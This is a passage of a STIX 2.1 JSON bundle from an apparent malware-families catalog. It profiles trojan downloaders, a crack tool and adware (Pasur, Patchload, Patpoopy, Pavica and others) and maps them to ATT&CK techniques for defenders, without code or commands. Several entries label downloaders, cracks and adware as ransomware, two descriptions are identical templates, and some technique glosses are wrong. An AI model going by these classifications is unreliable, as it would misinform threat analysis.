to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Pastraw executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Pastraw frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pastraw",
        "Downloader.Pastraw",
        "Win32/Pastraw"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pastraw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pastraw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c634d6db-7b97-572c-ac1d-7acd350ce81f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--967e7f7e-b2c6-5921-8065-6d28a461415c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pastraw exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17bb47c8-56c9-58bf-b506-de8137b1b9d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--967e7f7e-b2c6-5921-8065-6d28a461415c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pastraw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce31a78a-f6d0-589e-b3c8-3c3a0c577a84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--967e7f7e-b2c6-5921-8065-6d28a461415c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pastraw exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--23908081-cb7d-5504-b0ac-bfdefd628250",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pasur",
      "description": "<h3>Executive Summary</h3>\nPasur is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPasur is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Pasur operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Pasur ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Pasur receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pasur infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Pasur executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Pasur frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Pasur",
        "Downloader.Pasur",
        "Win32/Pasur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pasur",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pasur"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--899a7d66-36d5-5f5b-8d19-ae12220dfd71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--23908081-cb7d-5504-b0ac-bfdefd628250",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pasur exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15efac2e-5306-5fcd-9cfb-b6c49721053e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--23908081-cb7d-5504-b0ac-bfdefd628250",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pasur exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--782b4177-507c-58da-a233-ff3f150dcf28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--23908081-cb7d-5504-b0ac-bfdefd628250",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pasur exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e3a44656-ef4d-586a-97d2-07ab73a1ff08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Patch",
      "description": "Riskware:Win32/Patch is a highly generic heuristic detection used by antivirus engines to flag software 'cracks', 'patchers', or 'keygens'. These tools are designed to illegally bypass the digital rights management (DRM) or licensing mechanisms of commercial software (like Adobe products, Windows OS, or video games). While the patcher itself might successfully crack the software, it is a primary vector for malware distribution; threat actors heavily bundle devastating payloads (ransomware, info-stealers) alongside these illegal tools.<br><br><b>Understanding Patch (Software Cracks)</b><br>To an end-user, a Patch tool is a way to get expensive software for free. For a security administrator, it represents a severe policy violation and a critical security incident. The user is deliberately bypassing security controls, often running unknown executables with Administrator privileges and actively disabling their antivirus to allow the 'crack' to work (`T1562.001`).<br><br><b>Execution and Risk Mechanics</b><br>These tools are downloaded from underground forums, torrent sites, or deceptive YouTube tutorials. Upon execution, the patcher modifies the memory or the on-disk executable of the targeted commercial software (`T1574.001`) to bypass license checks. However, because the user is already granting the tool deep system access, bundled malware (like a silent coin-miner or a backdoor RAT) is simultaneously installed in the background. The 'Patch' detection flags the behavior of tampering with other executables or the known signatures of popular cracking frameworks.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the high probability of a secondary, severe malware infection, alongside the legal/compliance risks of software piracy. Host-based IoCs include EDR alerts for 'Suspicious File Modification' targeting program files in `C:\\Program Files`, the presence of files named `crack.exe`, `patch.exe`, or `keygen.exe` in the user's Downloads folder, and event logs showing the local Antivirus being temporarily disabled. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Patch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/patch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9fc18ba-be78-5a22-ba6f-ec5ca4c57ab8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3a44656-ef4d-586a-97d2-07ab73a1ff08",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patch exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Users disabling AV to run the crack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b5850aa-8ddb-59de-b007-46e3506c0293",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3a44656-ef4d-586a-97d2-07ab73a1ff08",
      "target_ref": "attack-pattern--4cac5ad8-9b35-5105-99ec-b9d2404aa582",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patch exhibits technique T1574.001 (Hijack Execution Flow: Search Order Hijacking (Modifying legitimate software to bypass DRM))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5227f9d4-d060-51a2-b239-40b354a79d2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3a44656-ef4d-586a-97d2-07ab73a1ff08",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patch exhibits technique T1204.002 (User Execution: Malicious File (The user intentionally running the tool))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b32a876c-ae12-525a-8eed-07e51c6c7579",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Patchload",
      "description": "TrojanDownloader:Win32/Patchload is a specialized trojan designed to masquerade as legitimate software patches or updates (often for popular applications like Adobe Reader, Java, or Windows itself) while silently downloading secondary payloads in the background (`T1036.005`). It acts as a deceptive 'Initial Access Broker' tool.<br><br><b>Understanding Patchload (Deceptive Downloaders)</b><br>To an end-user, executing Patchload often looks like a normal software update process. A fake progress bar may even appear. However, for a security analyst, Patchload is a delivery vehicle. The real danger is the payload it fetches from its Command-and-Control (C2) server\u2014which could be ransomware, an InfoStealer, or a persistent RAT.<br><br><b>Execution and Evasion Strategies</b><br>Patchload is heavily distributed via compromised 'warez' sites, fake update prompts on malicious websites (`T1189`), or spearphishing. Upon execution, it relies on User Execution (`T1204.002`). To evade detection, it often drops a benign file (the actual promised software update) alongside its hidden malicious downloader component to trick the user into believing the process was legitimate. It then makes outbound HTTP/HTTPS requests to hardcoded C2 domains to fetch the final payload, frequently injecting the downloaded code directly into memory to avoid dropping another file to disk (`T1055`).<br><br><b>Indicators of Compromise (IoCs)</b><br>Host-based IoCs include EDR alerts for 'Suspicious Process Injection' or legitimate processes making unexpected outbound network connections immediately following a user downloading an executable from an untrusted source. Network IoCs involve identifying the specific C2 domains Patchload contacts to fetch its payloads, which often use newly registered, randomized domain names. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Patchload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/patchload"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--169fdb89-7415-58bf-8338-562bc998805f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b32a876c-ae12-525a-8eed-07e51c6c7579",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patchload exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6b3172c-357c-505c-a849-d980d28de717",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b32a876c-ae12-525a-8eed-07e51c6c7579",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patchload exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location (Disguising as a software patch))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d855e3d-a0d2-5bda-a32b-34c49115303d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b32a876c-ae12-525a-8eed-07e51c6c7579",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patchload exhibits technique T1204.002 (User Execution: Malicious File (Tricking the user to run the fake update))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b529a28a-9a62-5fe4-b4ff-3fe276886153",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b32a876c-ae12-525a-8eed-07e51c6c7579",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patchload exhibits technique T1055 (Process Injection (Hiding the downloaded payload in memory))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7f4f10d2-d8f7-5c4e-8099-b82defffb96e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Patchupplus",
      "description": "Adware:Win32/Patchupplus is a classification for a persistent framework used to silently deploy and update Potentially Unwanted Programs (PUPs), adware, and browser hijackers. It operates as a background service, ensuring that once a system is compromised by a bundled installer, the adware remains up-to-date and difficult to remove permanently (`T1189`).<br><br><b>Understanding Patchupplus (Adware Updaters)</b><br>To an end-user, Patchupplus is usually invisible, though they will notice the symptoms of the adware it deploys: sluggish performance, excessive pop-ups, and hijacked search engines. For a security operations center (SOC), Patchupplus represents a significant persistence mechanism. Even if an antivirus removes the visible adware, the updater will simply re-download it (`T1105`) the next time the system boots.<br><br><b>Execution and Persistence Mechanics</b><br>Patchupplus is typically installed silently as part of a deceptive software bundle. Upon execution, it establishes deep persistence. It often registers itself as a Windows Service (`T1543.003`) or creates multiple Scheduled Tasks (`T1053.005`) set to trigger on boot, on user logon, and at regular time intervals. When triggered, it reaches out to affiliate tracking networks, checks for new 'offers' or updates to its existing adware portfolio, and silently installs them in the background, constantly refreshing the infection.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the continuous, unconsented installation of nuisance software and a degradation of system performance. Host-based IoCs include the presence of anomalous services (often with names mimicking legitimate Windows services) or Scheduled Tasks pointing to executables in `%AppData%\\Local` or similar directories. Network IoCs include regular, automated HTTP/HTTPS beacons to known adware deployment infrastructure. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Patchupplus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/patchupplus"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d8dad33-123c-510d-b96a-2830c3d9c158",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7f4f10d2-d8f7-5c4e-8099-b82defffb96e",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patchupplus exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistence as a background service))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf1b9540-3abc-55bf-8d7d-023f880aee39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7f4f10d2-d8f7-5c4e-8099-b82defffb96e",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patchupplus exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Using tasks to trigger regular updates))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16e232f5-c9da-5dc1-aac6-a087d6a047fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7f4f10d2-d8f7-5c4e-8099-b82defffb96e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patchupplus exhibits technique T1189 (Drive-by Compromise (Initial distribution via software bundles))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c9b30820-344e-55ea-b6f7-1779f616cd31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Patpoopy",
      "description": "Trojan:Win32/Patpoopy is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Patpoopy</b><br>To an end-user, a Patpoopy infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Patpoopy is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Patpoopy is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Patpoopy frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Patpoopy reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Patpoopy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/patpoopy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9385078-e792-511c-abc3-ccccb330eaee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9b30820-344e-55ea-b6f7-1779f616cd31",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patpoopy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26b30a14-cb2a-58e8-8ee0-c5b3784d0277",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9b30820-344e-55ea-b6f7-1779f616cd31",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patpoopy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7067cd58-6816-59e7-8021-a05207d6cac8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9b30820-344e-55ea-b6f7-1779f616cd31",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patpoopy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af322b25-9b86-52d7-ae1c-7f10a1aad205",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9b30820-344e-55ea-b6f7-1779f616cd31",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patpoopy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c10758e-3477-5b24-9118-8a6ee96f6c57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c9b30820-344e-55ea-b6f7-1779f616cd31",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Patpoopy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--04082437-d8ea-5cd1-8119-9befa4f0e50c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pavica",
      "description": "Trojan:Win32/Pavica is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pavica</b><br>To an end-user, a Pavica infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pavica is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pavica is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pavica frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pavica reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pavica",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pavica"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e7867d2-57c8-56b8-aa14-aff5ee39081a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04082437-d8ea-5cd1-8119-9befa4f0e50c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pavica exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4586a0ec-cb8f-5c2f-84db-30ba6054e554",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04082437-d8ea-5cd1-8119-9befa4f0e50c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pavica exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07b1b461-cf8a-5718-b11d-67d9019ff3b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04082437-d8ea-5cd1-8119-9befa4f0e50c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pavica exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b056c30-83db-589b-9830-b2178e5d9917",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04082437-d8ea-5cd1-8119-9befa4f0e50c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pavica exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c4cec11-f232-5799-baf0-c4e20d9ce308",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--04082437-d8ea-5cd1-8119-9befa4f0e50c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pavica exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--94b9e34c-666c-5761-88ea-d489c409587a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Payer",
